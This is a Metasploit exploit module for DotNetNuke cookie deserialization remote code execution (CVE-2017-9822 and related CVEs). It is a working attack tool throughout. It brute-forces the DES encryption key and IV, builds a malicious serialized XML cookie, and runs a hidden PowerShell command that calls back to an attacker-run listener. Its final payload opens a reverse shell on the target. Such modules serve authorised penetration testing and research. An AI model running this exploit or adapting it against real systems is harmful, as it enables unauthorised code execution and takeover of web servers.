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1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'openssl'
7
require 'set'
8

9
class MetasploitModule < Msf::Exploit::Remote
10
  include Msf::Exploit::Remote::HttpClient
11
  include Msf::Exploit::Powershell
12
  include Msf::Exploit::Remote::HttpServer
13

14
  Rank = ExcellentRanking
15

16
  # ==================================
17
  # Override the setup method to allow
18
  # for delayed handler start
19
  # ===================================
20
  def setup
21
    # Reset the session counts to zero.
22
    reset_session_counts
23

24
    return if !payload_instance
25
    return if !handler_enabled?
26

27
    # Configure the payload handler
28
    payload_instance.exploit_config = {
29
      'active_timeout' => active_timeout
30
    }
31

32
    # payload handler is normally set up and started here
33
    # but has been removed so we can start the handler when needed.
34
  end
35

36
  def initialize(info = {})
37
    super(
38
      update_info(
39
        info,
40
        'Name' => 'DotNetNuke Cookie Deserialization Remote Code Excecution',
41
        'Description' => %q{
42
          This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.
43
          Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
44
          The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization.
45
          The cookie is processed by the application whenever it attempts to load the current user's profile data.
46
          This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).
47
          An attacker can leverage this vulnerability to execute arbitrary code on the system.
48
        },
49
        'License' => MSF_LICENSE,
50
        'Author' => [ 'Jon Park', 'Jon Seigel' ],
51
        'References' => [
52
          [ 'CVE', '2017-9822' ],
53
          [ 'CVE', '2018-15811'],
54
          [ 'CVE', '2018-15812'],
55
          [ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811
56
          [ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812
57
          [ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],
58
          [ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],
59
          [ 'URL', 'https://github.com/pwntester/ysoserial.net']
60
        ],
61
        'Platform' => 'win',
62
        'Arch' => [ARCH_X86, ARCH_X64],
63
        'Targets' => [
64
          [ 'Automatic', { 'auto' => true } ],
65
          [ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
66
          [ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
67
          [ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],
68
          [ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]
69
        ],
70
        'Stance' => Msf::Exploit::Stance::Aggressive,
71
        'Privileged' => false,
72
        'DisclosureDate' => '2017-07-20',
73
        'DefaultOptions' => { 'WfsDelay' => 5 },
74
        'DefaultTarget' => 0,
75
        'Notes' => {
76
          'Stability' => [CRASH_SAFE],
77
          'Reliability' => [REPEATABLE_SESSION],
78
          'SideEffects' => []
79
        }
80
      )
81
    )
82

83
    deregister_options('SRVHOST')
84

85
    register_options(
86
      [
87
        OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),
88
        OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),
89
        OptString.new('VERIFICATION_PLAIN', [
90
          false, %q(The known (full or partial) plaintext of the encrypted verification code.
91
        Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), ''
92
        ]),
93
        OptBool.new('ENCRYPTED', [
94
          true, %q{Whether or not to encrypt the final payload cookie;
95
        (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.}, false
96
        ]),
97
        OptString.new('KEY', [false, 'The key to use for encryption.', '']),
98
        OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),
99
        OptString.new('SESSION_TOKEN', [
100
          false, %q{The .DOTNETNUKE session cookie to use when submitting the payload to the target server.
101
        DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.}, ''
102
        ]),
103
        OptString.new('VERIFICATION_CODE', [
104
          false, %q{The encrypted verification code received in a registration email.
105
        Can also be the path to a file containing a list of verification codes.}, ''
106
        ])
107
      ]
108
    )
109

110
    initialize_instance_variables
111
  end
112

113
  def initialize_instance_variables
114
    # ==================
115
    # COMMON VARIABLES
116
    # ==================
117

118
    @target_idx = 0
119

120
    # Flag for whether or not to perform exploitation
121
    @dry_run = false
122

123
    # Flag for whether or not the target requires encryption
124
    @encrypted = false
125

126
    # Flag for whether or not to attempt to decrypt the provided verification token(s)
127
    @try_decrypt = false
128

129
    # ==================
130
    # PAYLOAD VARIABLES
131
    # ==================
132

133
    @cr_regex = /(?<=Copyright \(c\) 2002-)(\d{4})/
134

135
    # ==================
136
    # v9.1.1+ VARIABLES
137
    # ==================
138

139
    @key_charset = '02468ABDF'
140
    @verification_codes = []
141

142
    @iv_regex = /[0-9A-F]{8}/
143

144
    # Known plaintext
145
    @kpt = ''
146

147
    # Encryption objects
148
    @decryptor = OpenSSL::Cipher.new('des')
149
    @decryptor.decrypt
150

151
    @encryptor = OpenSSL::Cipher.new('des')
152
    @encryptor.encrypt
153

154
    # final passphrase (key +iv) to use for payload (v9.1.1+)
155
    @passphrase = ''
156

157
    # ==================
158
    # v9.2.0+ VARIABLES
159
    # ==================
160

161
    # Session token needed for exploitation (v9.2.0+)
162
    @session_token = ''
163

164
    # ==================
165
    # v9.2.2+ VARIABLES
166
    # ==================
167

168
    # User ID format (v9.2.2+)
169
    # Number of characters of user ID available in plaintext
170
    # is equal to the length of a GUID (no spaces or dashes)
171
    # minus (blocksize - known plaintext length).
172
    @user_id_pt_length = 32 - (8 - @kpt.length)
173
    @user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/
174

175
    # Plaintext found from decryption (v9.2.2+)
176
    @found_pt = ''
177

178
    @iv_charset = '0123456789abcdef'
179

180
    # Possible IVs used to encrypt verification codes (v9.2.2+)
181
    @possible_ivs = Set.new([])
182

183
    # Possible keys used to encrypt verification codes (v9.2.2+)
184
    @possible_keys = Set.new([])
185

186
    # passphrases (key + iv) values to use for payload encryption (v9.2.2+)
187
    @passphrases = []
188

189
    # char sets to use when generating possible base keys
190
    @unchanged = Set.new([65, 70])
191
  end
192

193
  def decode_verification(code)
194
    # Decode verification code base don DNN format
195
    return String.new(
196
      Rex::Text.decode_base64(
197
        code.chomp.gsub('.', '+').gsub('-', '/').gsub('_', '=')
198
      )
199
    )
200
  end
201

202
  # ==============
203
  # Main function
204
  # ==============
205
  def exploit
206
    return unless check == Exploit::CheckCode::Appears
207

208
    @encrypted = datastore['ENCRYPTED']
209
    verification_code = datastore['VERIFICATION_CODE']
210
    if File.file?(verification_code)
211
      File.readlines(verification_code).each do |code|
212
        @verification_codes.push(decode_verification(code))
213
      end
214
    else
215
      @verification_codes.push(decode_verification(verification_code))
216
    end
217

218
    @kpt = datastore['VERIFICATION_PLAIN']
219

220
    @session_token = datastore['SESSION_TOKEN']
221
    @dry_run = datastore['DryRun']
222
    key = datastore['KEY']
223
    iv = datastore['IV']
224

225
    if target['ReqEncrypt'] && @encrypted == false
226
      print_warning('Target requires encrypted payload. Exploit may not succeed.')
227
    end
228

229
    if @encrypted
230
      # Requires either supplied key and IV, or verification code and plaintext
231
      if !key.blank? && !iv.blank?
232
        @passphrase = key + iv
233
        # Key and IV were supplied, don't try and decrypt.
234
        @try_decrypt = false
235
      elsif !@verification_codes.empty? && !@kpt.blank?
236
        @try_decrypt = true
237
      else
238
        fail_with(Failure::BadConfig, 'You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).')
239
      end
240
    end
241

242
    if target['ReqSession'] && @session_token.blank?
243
      fail_with(Failure::BadConfig, 'Target requires a valid SESSION_TOKEN for exploitation.')
244
    end
245

246
    if @encrypted && @try_decrypt
247
      # Set IV for decryption as the known plaintext, manually
248
      # apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.
249
      # For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.
250
      # For v9.2.2+ it will find an initial base key faster than if padding were enabled.
251
      f8_plain = @kpt[0, 8]
252
      c_iv = f8_plain.unpack('C*') + [8 - f8_plain.length] * (8 - f8_plain.length)
253
      @decryptor.iv = String.new(c_iv.pack('C*'))
254
      @decryptor.padding = 0
255

256
      key = find_key(@verification_codes[0])
257
      if key.blank?
258
        return
259
      end
260

261
      if @target_idx == 4
262
        # target is v9.2.2+, requires base64 generated key and IV values.
263
        generate_base_keys(0, key.each_byte.to_a, '')
264
        vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}")
265

266
        # re-enable padding here as it doesn't have the
267
        # same performance impact when trying to find possible IV values.
268
        @decryptor.padding = 1
269

270
        print_warning('Finding possible base IVs. This may take a few minutes...')
271
        start = Time.now
272
        find_ivs(@verification_codes, key)
273
        elapsed = Time.now - start
274
        vprint_status(
275
          format(
276
            'Found %<n_ivs>d potential Base IV values using %<n_codes>d '\
277
            'verification codes in %<e_time>.2f seconds.',
278
            n_ivs: @possible_ivs.size,
279
            n_codes: @verification_codes.size,
280
            e_time: elapsed.to_s
281
          )
282
        )
283

284
        generate_payload_passphrases
285
        vprint_status(format('Generated %<n_phrases>d possible base64 KEY and IV combinations.', n_phrases: @passphrases.size))
286
      end
287

288
      if @passphrase.blank?
289
        # test all generated passphrases by
290
        # sending an exploit payload to the target
291
        # that will callback to an HTTP listener
292
        # with the index of the passphrase that worked.
293

294
        # set SRVHOST as LHOST value for HTTPServer mixin
295
        datastore['SRVHOST'] = datastore['LHOST']
296
        print_warning('Trying all possible KEY and IV combinations...')
297
        print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...")
298
        start_service
299
        begin
300
          vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...")
301

302
          test_passphrases
303

304
          # If no working passphrase has been found,
305
          # wait to allow the chance for the last one to callback.
306
          if @passphrase.empty? && !@dry_run
307
            sleep(wfs_delay)
308
          end
309
        ensure
310
          cleanup_service
311
        end
312

313
        print "\r\n"
314
        if !@passphrase.empty?
315
          print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..]} found")
316
        end
317
      end
318
    end
319
    send_exploit_payload
320
  end
321

322
  # =====================
323
  # For the check command
324
  # =====================
325
  def check
326
    if target.name == 'Automatic'
327
      select_target
328
    end
329

330
    @target_idx = Integer(datastore['TARGET'])
331

332
    if @target_idx == 0
333
      fail_with(Failure::NoTarget, 'No valid target found or specified.')
334
    end
335

336
    # Check if 404 page is custom or not.
337
    # Vulnerability requires custom 404 handling (enabled by default).
338
    uri = normalize_uri(target_uri.path)
339
    print_status("Checking for custom error page at: #{uri} ...")
340
    res = send_request_cgi(
341
      'uri' => uri
342
    )
343

344
    if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
345
      print_good('Custom error page detected.')
346
    else
347
      print_error('IIS Error Page detected.')
348
      return Exploit::CheckCode::Safe
349
    end
350
    return Exploit::CheckCode::Appears
351
  end
352

353
  # ===========================
354
  # Auto-select target version
355
  # ===========================
356
  def select_target
357
    print_status('Trying to determine DNN Version...')
358
    # Check for copyright version in /Documentation/license.txt
359
    uri = %r{^(.*[\\/])}.match(target_uri.path)[0]
360
    vprint_status("Checking version at #{normalize_uri("#{uri}Documentation", 'License.txt')} ...")
361
    res = send_request_cgi(
362
      'method' => 'GET',
363
      'uri' => normalize_uri("#{uri}Documentation", 'License.txt')
364
    )
365
    year = -1
366
    if res && res.code == 200
367
      # License page found, get latest copyright year.
368
      matches = @cr_regex.match(res.body)
369
      if matches
370
        year = matches[0].to_i
371
      end
372
    else
373
      vprint_status("Checking version at #{uri} ...")
374
      res = send_request_cgi(
375
        'method' => 'GET',
376
        'uri' => normalize_uri(uri)
377
      )
378
      if res && res.code == 200
379
        # Check if copyright info is in page HTML.
380
        matches = @cr_regex.match(res.body)
381
        if matches
382
          year = matches[0].to_i
383
        end
384
      end
385
    end
386

387
    if year >= 2018
388
      print_warning(
389
        %q{DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.
390
Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.
391
Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values."}
392
      )
393
      datastore['TARGET'] = 3
394
    elsif year == 2017
395
      print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')
396
      datastore['TARGET'] = 2
397
    elsif year < 2017 && year > 2008
398
      print_good('DNN Version Found: v5.1.0 - v9.0.1')
399
      datastore['TARGET'] = 1
400
    elsif year == 2008
401
      print_warning('DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).')
402
      datastore['TARGET'] = 1
403
    else
404
      print_warning('Could not determine DNN version. Target may still be vulnerable. Manually set the Target value')
405
    end
406
  end
407

408
  # ==============================
409
  # Known plaintext attack to
410
  # brute-force the encryption key
411
  # ==============================
412
  def find_key(cipher_text)
413
    print_status('Finding Key...')
414

415
    # Counter
416
    total_keys = @key_charset.length**8
417
    i = 1
418

419
    # Set start time
420
    start = Time.now
421

422
    # First char
423
    @key_charset.each_byte do |a|
424
      key = a.chr
425
      # 2
426
      @key_charset.each_byte do |b|
427
        key[1] = b.chr
428
        # 3
429
        @key_charset.each_byte do |c|
430
          key[2] = c.chr
431
          # 4
432
          @key_charset.each_byte do |d|
433
            key[3] = d.chr
434
            # 5
435
            @key_charset.each_byte do |e|
436
              key[4] = e.chr
437
              # 6
438
              @key_charset.each_byte do |f|
439
                key[5] = f.chr
440
                # 7
441
                @key_charset.each_byte do |g|
442
                  key[6] = g.chr
443
                  # 8
444
                  @key_charset.each_byte do |h|
445
                    key[7] = h.chr
446
                    if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))
447
                      elapsed = Time.now - start
448
                      print_search_status(i, elapsed, total_keys)
449
                      print_line
450
                      if @target_idx == 4
451
                        print_good("Possible Base Key Value Found: #{key}")
452
                      else
453
                        print_good("KEY Found: #{key}")
454
                        print_good("IV Found: #{@passphrase[8..]}")
455
                      end
456
                      vprint_status(format('Total number of Keys tried: %<n_tried>d', n_tried: i))
457
                      vprint_status(format('Time to crack: %<c_time>.3f seconds', c_time: elapsed.to_s))
458
                      return String.new(key)
459
                    end
460
                    # Print timing info every 5 million attempts
461
                    if i % 5000000 == 0
462
                      print_search_status(i, Time.now - start, total_keys)
463
                    end
464
                    i += 1
465
                  end
466
                end
467
              end
468
            end
469
          end
470
        end
471
      end
472
    end
473
    elapsed = Time.now - start
474
    print_search_status(i, elapsed, total_keys)
475
    print_line
476
    print_error('Key not found')
477
    vprint_status(format('Total number of Keys tried: %<n_tried>d', n_tried: i))
478
    vprint_status(format('Time run: %<r_time>.3f seconds', r_time: elapsed.to_s))
479
    return nil
480
  end
481

482
  # ==================================
483
  # Attempt to decrypt a ciphertext
484
  # and obtain the IV at the same time
485
  # ==================================
486
  def decrypt_data_and_iv(cipher, cipher_text, key)
487
    cipher.key = key
488
    begin
489
      plaintext = cipher.update(cipher_text) + cipher.final
490
      if @target_idx == 4
491
        # Target is v9.2.2+
492
        user_id = plaintext[8, @user_id_pt_length]
493
        if @user_id_regex.match(user_id)
494
          return true
495
        end
496

497
        return false
498
      end
499

500
      # This should only execute if the version is 9.1.1 - 9.2.1
501
      iv = plaintext[0, 8]
502
      if !@iv_regex.match(iv)
503
        return false
504
      end
505

506
      # Build encryption passphrase as DNN does.
507
      @passphrase = key + iv
508

509
      # Encrypt the plaintext value using the discovered key and IV
510
      # and compare with the initial ciphertext
511
      if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)
512
        @passphrases.push(String.new(key + iv))
513
        return true
514
      end
515
    rescue StandardError
516
      # Ignore decryption errors to allow execution to continue
517
      return false
518
    end
519
    return false
520
  end
521

522
  def print_search_status(num_tries, elapsed, max_tries)
523
    msg = format('Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.', s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)
524
    print("\r%bld%blu[*]%clr #{msg}")
525
  end
526

527
  # ===========================
528
  # Encrypt data using the same
529
  # pattern that DNN uses.
530
  # ===========================
531
  def encrypt_data(cipher, message, passphrase)
532
    cipher.key = passphrase[0, 8]
533
    cipher.iv = passphrase[8, 8]
534
    return cipher.update(message) + cipher.final
535
  end
536

537
  # ===============================================
538
  # Generate all possible base key values
539
  # used to create the final passphrase in v9.2.2+.
540
  # DES weakness allows multiple bytes to be
541
  # interpreted as the same value.
542
  # ===============================================
543
  def generate_base_keys(pos, from_key, new_key)
544
    if !@unchanged.include? from_key[pos]
545
      if from_key[pos].even?
546
        new_key[pos] = (from_key[pos] + 1).chr
547
      else
548
        new_key[pos] = (from_key[pos] - 1).chr
549
      end
550

551
      if new_key.length == 8
552
        @possible_keys.add(String.new(new_key))
553

554
        # also add key with original value
555
        new_key[pos] = (from_key[pos]).chr
556
        @possible_keys.add(String.new(new_key))
557
      else
558
        generate_base_keys(pos + 1, from_key, String.new(new_key))
559

560
        # also generate keys with original value
561
        new_key[pos] = (from_key[pos]).chr
562
        generate_base_keys(pos + 1, from_key, String.new(new_key))
563
      end
564
    else
565
      new_key[pos] = (from_key[pos]).chr
566
      if new_key.length == 8
567
        @possible_keys.add(String.new(new_key))
568
      else
569
        generate_base_keys(pos + 1, from_key, String.new(new_key))
570
      end
571
    end
572
  end
573

574
  # ==============================================
575
  # Find all possible base IV values
576
  # used to create the final Encryption passphrase
577
  # ==============================================
578
  def find_ivs(cipher_texts, key)
579
    num_chars = 8 - @kpt.length
580
    f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/
581

582
    @decryptor.key = key
583
    found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final
584
    # Find all possible IVs for the first ciphertext
585
    brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..])
586

587
    # Reduce IV set by testing against other ciphertexts
588
    cipher_texts.drop(1).each do |cipher_text|
589
      @possible_ivs.each do |iv|
590
        @decryptor.iv = iv
591
        pt = @decryptor.update(cipher_text) + @decryptor.final
592
        if !f8regex.match(pt[0, 8])
593
          @possible_ivs.delete(iv)
594
        end
595
      end
596
    end
597
  end
598

599
  # ==========================================
600
  # A recursive function to find all
601
  # possible valid IV values using brute-force
602
  # ==========================================
603
  def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)
604
    charset = '0123456789abcdef'
605
    if num_chars_needed == 0
606
      @decryptor.key = key
607
      @decryptor.iv = pt_prefix
608
      pt = @decryptor.update(cipher_text) + @decryptor.final
609
      iv = pt[0, 8]
610
      if @iv_regex.match(iv)
611
        pt = pt_prefix + found_pt
612
        if encrypt_data(@encryptor, pt, key + iv) == cipher_text
613
          @possible_ivs.add(String.new(iv))
614
        end
615
      end
616
      return
617
    end
618
    charset.length.times do |i|
619
      brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)
620
    end
621
  end
622

623
  # ========================================
624
  # Generate all possible payload encryption
625
  # passphrases for a v9.2.2+ target
626
  # ========================================
627
  def generate_payload_passphrases
628
    phrases = Set.new(@passphrases)
629
    @possible_keys.each do |key|
630
      @possible_ivs.each do |iv|
631
        phrase = Rex::Text.encode_base64(
632
          encrypt_data(@encryptor, key + iv, key + iv)
633
        )
634
        phrases.add(String.new(phrase[0, 16]))
635
      end
636
    end
637
    @passphrases = phrases.to_a
638
  end
639

640
  # ===========================================
641
  # Test all generated passphrases by initializing
642
  # an HTTP server to listen for a callback that
643
  # contains the index of the successful passphrase.
644
  # ===========================================
645
  def test_passphrases
646
    for i in 0..@passphrases.size - 1
647
      # Stop sending if we've found the passphrase
648
      if !@passphrase.empty?
649
        break
650
      end
651

652
      msg = format('Trying KEY and IV combination %<current>d of %<total>d...', current: i + 1, total: @passphrases.size)
653
      print("\r%bld%blu[*]%clr #{msg}")
654

655
      url = "#{get_uri}?#{get_resource.delete('/')}=#{i}"
656
      payload = create_request_payload(url)
657
      cookie = create_cookie(payload)
658

659
      # Encrypt cookie value
660
      enc_cookie = Rex::Text.encode_base64(
661
        encrypt_data(@encryptor, cookie, @passphrases[i])
662
      )
663
      if @dry_run
664
        print_line
665
        print_warning('DryRun enabled. No exploit payloads have been sent to the target.')
666
        print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")
667
        print_line(enc_cookie)
668
        break
669
      end
670
      execute_command(enc_cookie, host: datastore['RHOST'])
671
    end
672
  end
673

674
  # ===============================
675
  # Request handler for HTTP server.
676
  # ==============================
677
  def on_request_uri(cli, request)
678
    # Send 404 to prevent scanner detection
679
    send_not_found(cli)
680

681
    # Get found index - should be the only query string parameter
682
    if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]
683
      index = request.qstring[get_resource.delete('/').to_s].to_i
684
      @passphrase = String.new(@passphrases[index])
685
    end
686
  end
687

688
  # ==============================================
689
  # Create payload to callback to the HTTP server.
690
  # Note: This technically exploits the
691
  # vulnerability, but provides a way to determine
692
  # the valid passphrase needed to exploit again.
693
  # ==============================================
694
  def create_request_payload(url)
695
    # Package payload into serialized object
696
    payload_object = ::Msf::Util::DotNetDeserialization.generate(
697
      "powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\"",
698
      gadget_chain: :TypeConfuseDelegate,
699
      formatter: :LosFormatter
700
    )
701

702
    b64_payload = Rex::Text.encode_base64(payload_object)
703
    return b64_payload
704
  end
705

706
  # =================================
707
  # Creates the payload cookie
708
  # using the specified payload
709
  # =================================
710
  def create_cookie(payload)
711
    cookie = '<profile>'\
712
             '<item key="k" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, '\
713
             'System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],'\
714
             '[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, '\
715
             'Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, '\
716
             'Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">'\
717
             '<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>'\
718
             '<ProjectedProperty0>'\
719
             '<MethodName>Deserialize</MethodName>'\
720
             '<MethodParameters>'\
721
             '<anyType xmlns:i="http://www.w3.org/2001/XMLSchema-instance" '\
722
             'xmlns:d="http://www.w3.org/2001/XMLSchema" i:type="d:string" '\
723
             ">#{payload}</anyType>"\
724
             '</MethodParameters>'\
725
             '<ObjectInstance xmlns:i="http://www.w3.org/2001/XMLSchema-instance" '\
726
             'i:type="ObjectStateFormatter" />'\
727
             '</ProjectedProperty0>'\
728
             '</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>'\
729
             '</item>'\
730
             '</profile>'
731
    return cookie
732
  end
733

734
  # =========================================
735
  # Send the payload to the target server.
736
  # =========================================
737
  def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })
738
    uri = normalize_uri(target_uri.path)
739

740
    res = send_request_cgi(
741
      'uri' => uri,
742
      'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};"
743
    )
744
    if !res
745
      fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")
746
    elsif res.code == 404
747
      return true
748
    elsif res.code == 400
749
      fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
750
    else
751
      fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")
752
    end
753
  end
754

755
  # ======================================
756
  # Create and send final exploit payload
757
  # to obtain a reverse shell.
758
  # ======================================
759
  def send_exploit_payload
760
    cmd_payload = create_payload
761
    cookie_payload = create_cookie(cmd_payload)
762
    if @encrypted
763
      if @passphrase.blank?
764
        print_error('Target requires encrypted payload, but a passphrase was not found or specified.')
765
        return
766
      end
767
      cookie_payload = Rex::Text.encode_base64(
768
        encrypt_data(@encryptor, cookie_payload, @passphrase)
769
      )
770
    end
771
    if @dry_run
772
      print_warning('DryRun enabled. No exploit payloads have been sent to the target.')
773
      print_warning('Printing exploit cookie payload...')
774
      print_line(cookie_payload)
775
      return
776
    end
777

778
    # Set up the payload handlers
779
    payload_instance.setup_handler
780

781
    # Start the payload handler
782
    payload_instance.start_handler
783

784
    print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...")
785
    execute_command(cookie_payload, host: datastore['RHOST'])
786
  end
787

788
  # ===================================
789
  # Create final exploit payload based on
790
  # supplied payload options.
791
  # ===================================
792
  def create_payload
793
    # Create payload
794
    payload_object = ::Msf::Util::DotNetDeserialization.generate(
795
      cmd_psh_payload(
796
        payload.encoded,
797
        payload_instance.arch.first,
798
        remove_comspec: true, encode_final_payload: false
799
      ),
800
      gadget_chain: :TypeConfuseDelegate,
801
      formatter: :LosFormatter
802
    )
803

804
    b64_payload = Rex::Text.encode_base64(payload_object)
805
    vprint_status('Payload Object Created.')
806
    return b64_payload
807
  end
808
end
809

810